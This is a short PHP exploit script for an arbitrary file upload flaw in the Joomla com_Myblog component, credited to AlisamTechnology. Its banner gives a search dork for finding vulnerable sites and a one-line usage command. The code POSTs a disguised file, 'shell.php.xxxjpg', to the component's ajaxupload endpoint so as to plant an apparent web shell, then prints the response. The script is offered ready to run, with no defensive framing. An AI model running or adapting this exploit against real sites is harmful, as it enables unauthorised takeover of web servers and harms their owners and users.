Joomla com_Myblog Arbitrary File Upload

<?php

print "
       [+]================================================================[+]
       [+]-------      Joomla com_Myblog Arbitrary File Upload     -------[+]
       [+]================================================================[+]
       [+]--------------           AlisamTechnology         --------------[+]
       [+]------ https://www.fb.com/Forces.des.tempetes.marocaines  ------[+]
       [+]------        https://www.youtube.com/user/aliartes       ------[+]
       [+]--------------            Original script         --------------[+]
       [+]--------------     http://0day.today/exploit/23901    ----------[+]
       [+]================================================================[+]
       [+]======================        USAGE       ======================[+]
       [+]            dork index of /components/com_myblog/               [+]
       [+]                      php exploit.php TARGET                    [+]
       [+]================================================================[+]

    ";
    $ur = isset($argv[1]) && strstr($argv[1], 'http') ? $argv[1] : "http://{$argv[1]}";
    $argv[1] = $ur;

    $uploadfile="shell.php.xxxjpg";

    $ch = curl_init("$argv[1]/index.php?option=com_myblog&task=ajaxupload");
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS,
    array('fileToUpload'=>"@$uploadfile"));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $postResult = curl_exec($ch);
    curl_close($ch);
    print "$postResult";

?>